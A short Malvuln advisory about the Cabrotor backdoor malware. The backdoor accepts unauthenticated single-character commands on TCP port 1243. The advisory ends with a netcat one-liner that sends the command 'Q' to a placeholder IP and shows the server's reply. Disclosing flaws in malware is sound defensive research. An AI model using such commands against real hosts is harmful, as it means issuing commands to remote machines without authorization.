Backdoor.Win32.Cabrotor.10.d / Unauthenticated Remote Command Execution

[malvuln <malvuln13 () gmail com>]

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source:
https://malvuln.com/advisory/40acf109fa9621eae6930ef18f804909.txt
Contact: malvuln13 () gmail com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Cabrotor.10.d
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 1243. Attackers who can reach
infected systems can issue commands made up of single characters E.g.
sending 'Q' will terminate the backdoor. Executing wrong or unknown
commands will result in the following server response "Comando desconocido".
Family: Cabrotor
Type: PE32
MD5: 40acf109fa9621eae6930ef18f804909
Vuln ID: MVID-2022-0612
Disclosure: 06/06/2022

Exploit/PoC:
C:\>python -c "print('Q')" | nc64.exe x.x.x.x 1243
CaBroNaToR Server 1.0
Conexion estableciada el dia 5/2/2022 a las 02:47:35 AM

Fin de conexion - 02:47:35 AM

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